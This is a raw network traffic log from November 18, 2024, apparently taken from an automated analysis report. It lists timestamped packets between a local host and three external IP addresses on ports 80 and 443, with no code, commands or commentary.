Nov 18, 2024 18:21:57.417022943 CET	80	49169	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:57.417095900 CET	49169	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:57.428545952 CET	49170	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:57.428579092 CET	443	49170	5.45.108.48	192.168.2.22
Nov 18, 2024 18:21:57.428622961 CET	49170	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:57.461646080 CET	49170	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:57.461668968 CET	443	49170	5.45.108.48	192.168.2.22
Nov 18, 2024 18:21:57.462908030 CET	49168	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:57.462919950 CET	443	49168	5.45.108.48	192.168.2.22
Nov 18, 2024 18:21:57.471297979 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.471309900 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.471347094 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.471401930 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.471412897 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.471452951 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.472223997 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.472234011 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.472256899 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.472289085 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.472315073 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.472817898 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.472825050 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.472842932 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.472875118 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.472894907 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.473623991 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.473630905 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.473680019 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.473686934 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.532982111 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.533031940 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.533061028 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.533082008 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.533126116 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.589560986 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.589574099 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.589612007 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.589642048 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.589662075 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.590492010 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.590500116 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.590565920 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.590579033 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.591248989 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.591257095 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.591305971 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.591324091 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.591839075 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.591869116 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.591897964 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.591906071 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.591943979 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.650146008 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.650175095 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.650311947 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.650352001 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.671626091 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.706455946 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.706469059 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.706568003 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.706593037 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.706922054 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.706974983 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.706983089 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.708545923 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.708594084 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.708607912 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.708630085 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.708648920 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.708657980 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.708657980 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.708697081 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.708719015 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.709834099 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.709894896 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.709909916 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.824109077 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.824171066 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.824201107 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.825017929 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.825026989 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.825064898 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.825067997 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.825084925 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.825110912 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.825932026 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.825939894 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.825974941 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.825989962 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.826816082 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.826826096 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.826869965 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.826884985 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.827554941 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.827585936 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.827600002 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.827606916 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.827636957 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.828367949 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.828377008 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.828685999 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.828691959 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.941683054 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.941867113 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.941891909 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.942627907 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.942636013 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.942684889 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.942702055 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.942712069 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.942749023 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.943218946 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.943228006 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.943255901 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.943299055 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.944585085 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.944593906 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.944621086 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.944642067 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.944664001 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.945547104 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.945555925 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.945580006 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.945600033 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.945614100 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.945647955 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.970227957 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.985450983 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.985465050 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:57.985541105 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:57.985558987 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.059350967 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.059376001 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.059408903 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.059434891 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.059448004 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.060218096 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.060228109 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.060261965 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.060267925 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.060286045 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.060332060 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.060869932 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.060878038 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.060902119 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.060920954 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.060945988 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.061589003 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.061597109 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.061635017 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.061726093 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.061733961 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.062341928 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.062374115 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.062391996 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.062398911 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.062436104 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.102807999 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.102823019 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.102890015 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.102916002 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.187037945 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.187110901 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.187129021 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.187658072 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.187666893 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.187694073 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.187707901 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.187717915 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.187725067 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.187757015 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.189197063 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.189203978 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.189230919 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.189240932 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.189254999 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.189277887 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.190119028 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.190125942 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.190172911 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.190172911 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.190181971 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.191031933 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.191092014 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.191098928 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.191865921 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.191914082 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.191920996 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.294076920 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.294249058 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.294306993 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.294852018 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.294858932 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.294919014 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.294924021 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.294939041 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.294981003 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.295562983 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.295571089 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.295599937 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.295620918 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.295636892 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.296626091 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.296633959 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.296660900 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.296681881 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.296694040 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.297384024 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.297390938 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.297446966 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.297456980 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.298305988 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.298312902 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.298367977 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.298378944 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.299361944 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.299398899 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.299423933 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.299443007 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.299482107 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.320986986 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.333379030 CET	443	49170	5.45.108.48	192.168.2.22
Nov 18, 2024 18:21:58.333445072 CET	49170	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:58.336886883 CET	443	49168	5.45.108.48	192.168.2.22
Nov 18, 2024 18:21:58.336952925 CET	49168	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:58.344146967 CET	49170	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:58.344182968 CET	443	49170	5.45.108.48	192.168.2.22
Nov 18, 2024 18:21:58.344518900 CET	443	49170	5.45.108.48	192.168.2.22
Nov 18, 2024 18:21:58.344635010 CET	49170	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:58.381576061 CET	49168	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:58.381604910 CET	443	49168	5.45.108.48	192.168.2.22
Nov 18, 2024 18:21:58.381994009 CET	443	49168	5.45.108.48	192.168.2.22
Nov 18, 2024 18:21:58.382052898 CET	49168	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:58.411006927 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.411020994 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.411103010 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.411133051 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.411607981 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.411664963 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.411673069 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.412833929 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.412892103 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.412899971 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.413129091 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.413911104 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.413965940 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.413971901 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.414589882 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.414645910 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.414653063 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.415597916 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.415654898 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.415667057 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.416707039 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.416825056 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.416841030 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.462584972 CET	49170	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:58.503340960 CET	443	49170	5.45.108.48	192.168.2.22
Nov 18, 2024 18:21:58.528002977 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.528062105 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.528093100 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.528723955 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.528732061 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.528757095 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.528784990 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.528803110 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.528870106 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.529289007 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.529298067 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.529320002 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.529342890 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.529360056 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.530833006 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.530843019 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.530864000 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.530889988 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.530899048 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.531848907 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.531857014 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.531903028 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.531910896 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.532346964 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.532377005 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.532408953 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.532416105 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.532453060 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.533013105 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.533021927 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.533082008 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.533088923 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.571695089 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.571768045 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.571795940 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.645497084 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.645507097 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.645616055 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.645636082 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.646265984 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.646274090 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.646311998 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.646321058 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.646333933 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.646755934 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.646765947 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.646794081 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.646805048 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.646814108 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.646850109 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.647656918 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.647664070 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.647694111 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.647705078 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.647731066 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.648361921 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.648370981 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.648392916 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.648411036 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.648431063 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.648894072 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.648901939 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.648947954 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.648956060 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.649681091 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.649718046 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.649730921 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.649738073 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.650533915 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.669203043 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.689047098 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.689059019 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.689152956 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.689165115 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.762892008 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.763036966 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.763061047 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.763648033 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.763659000 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.763684034 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.763704062 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.763712883 CET	443	49166	142.215.209.78	192.168.2.22
